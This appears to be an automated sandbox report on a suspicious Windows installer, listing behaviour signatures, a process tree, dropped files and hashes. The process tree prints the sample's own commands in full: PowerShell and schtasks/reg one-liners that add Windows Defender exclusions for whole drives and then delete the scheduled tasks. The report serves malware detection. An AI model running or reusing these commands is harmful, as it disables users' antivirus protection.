Analysis

  • max time kernel
    144s
  • max time network
    148s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/08/2026, 22:25

General

  • Target
    setup_a9.0.09.exe
  • Size 31.2MB
  • Sample260830-2cefkattct
  • SHA256 259633f745cf14c278801257f9f1d49adb6a0e6839d5c009f363b9c0b1de1896
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\setup_a9.0.09.exe
    "C:\Users\Admin\AppData\Local\Temp\setup_a9.0.09.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:2884
  • C:\Users\Public\axVVkH\rAyWPa.exe
    "C:\Users\Public\axVVkH\rAyWPa.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2020
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:3908
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\axVVkH\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:4392
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\axVVkH\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4900
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:4720
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:3408
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:1332
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4664
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:5656
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:204
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              PID:1620
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:1312
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:5640
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:5336
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  PID:1076
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:368
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:4240
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:4372
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      PID:2068
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:4048
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:3004
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:4232
                      • C:\Users\Public\axVVkH\rAyWPa.exe
                        "C:\Users\Public\axVVkH\rAyWPa.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:5168
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\axVVkH" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        PID:1412
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\axVVkH" /t REG_DWORD /d 0 /f
                          2⤵
                            PID:3532
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:2852
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            PID:924
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                              2⤵
                                PID:428

                            Network

                                  MITRE ATT&CK Enterprise v16

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                                  Downloads

                                  UxEnhance64.dll

                                  • Path C:\Users\Public\axVVkH\UxEnhance64.dll
                                  • Size 3.1MB
                                  • SHA256 f05a490ab8275cb633b9c303bcee55b2947b16d614abd69a5b030ac9b535f3a1
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  adoresd.dat

                                  • Path C:\Users\Public\axVVkH\adoresd.dat
                                  • Size 4.7MB
                                  • SHA256 e9f7963b03a1ba2dcdf18b6228a050912cc41908ceb1bfc6bd099325f6cdc89f
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  msadox.tb

                                  • Path C:\Users\Public\axVVkH\msadox.tb
                                  • Size 8KB
                                  • SHA256 c6274a07a51091ff4fc3b26c668edca097c8c30ad601c96fdbc18c769674fdc8
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  rAyWPa.exe

                                  • Path C:\Users\Public\axVVkH\rAyWPa.exe
                                  • Size 135KB
                                  • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  memory/2020-556-0x000001917AEB0000-0x000001917AEFE000-memory.dmp

                                  memory/2020-559-0x000001917AF90000-0x000001917B01A000-memory.dmp

                                  memory/2020-600-0x000001917B9D0000-0x000001917C257000-memory.dmp

                                  memory/2020-567-0x000001917B9D0000-0x000001917C257000-memory.dmp

                                  memory/2020-530-0x00007FFEDA770000-0x00007FFEDA772000-memory.dmp

                                  memory/2020-531-0x00007FFEB7B20000-0x00007FFEB803E000-memory.dmp

                                  memory/2020-566-0x000001917B9D0000-0x000001917C257000-memory.dmp

                                  memory/2020-564-0x000001917B9D0000-0x000001917C257000-memory.dmp

                                  memory/2020-536-0x000001917B9D0000-0x000001917C257000-memory.dmp

                                  memory/2020-557-0x000001917AF90000-0x000001917B01A000-memory.dmp

                                  memory/2020-543-0x000001917B9D0000-0x000001917C257000-memory.dmp

                                  memory/2020-538-0x00007FFEDA780000-0x00007FFEDA782000-memory.dmp

                                  memory/2020-545-0x000001917B9D0000-0x000001917C257000-memory.dmp

                                  memory/2020-544-0x000001917B9D0000-0x000001917C257000-memory.dmp

                                  memory/2020-546-0x000001917B9D0000-0x000001917C257000-memory.dmp

                                  memory/2020-550-0x000001917B9D0000-0x000001917C257000-memory.dmp

                                  memory/2020-539-0x000001917B9D0000-0x000001917C257000-memory.dmp

                                  memory/2020-558-0x000001917AF90000-0x000001917B01A000-memory.dmp

                                  memory/2020-560-0x000001917AF90000-0x000001917B01A000-memory.dmp

                                  memory/2884-525-0x00007FFED1D30000-0x00007FFED1D42000-memory.dmp

                                  memory/2884-2-0x00000000007C0000-0x00000000007CC000-memory.dmp

                                  memory/2884-1-0x00000000007B0000-0x00000000007BE000-memory.dmp

                                  memory/2884-504-0x00007FFED1D30000-0x00007FFED1D42000-memory.dmp

                                  memory/2884-0-0x00000000007B0000-0x00000000007BE000-memory.dmp

                                  memory/2884-524-0x00000000007B0000-0x00000000007BE000-memory.dmp

                                  memory/3908-608-0x000001A569100000-0x000001A56910A000-memory.dmp

                                  memory/3908-607-0x000001A569360000-0x000001A569412000-memory.dmp

                                  memory/3908-606-0x000001A5690E0000-0x000001A5690FE000-memory.dmp

                                  memory/3908-603-0x000001A569080000-0x000001A5690A2000-memory.dmp

                                  memory/5168-587-0x00007FFEDA770000-0x00007FFEDA772000-memory.dmp

                                  memory/5168-583-0x00000200AE4B0000-0x00000200AED37000-memory.dmp

                                  memory/5168-586-0x00000200AE4B0000-0x00000200AED37000-memory.dmp

                                  memory/5168-584-0x00000200AE4B0000-0x00000200AED37000-memory.dmp

                                  memory/5168-578-0x00007FFEDA780000-0x00007FFEDA782000-memory.dmp

                                  memory/5168-579-0x00000200AE4B0000-0x00000200AED37000-memory.dmp

                                  memory/5168-576-0x00000200AE4B0000-0x00000200AED37000-memory.dmp

                                  memory/5168-572-0x00007FFEB7B20000-0x00007FFEB803E000-memory.dmp

                                  memory/5168-585-0x00000200AE4B0000-0x00000200AED37000-memory.dmp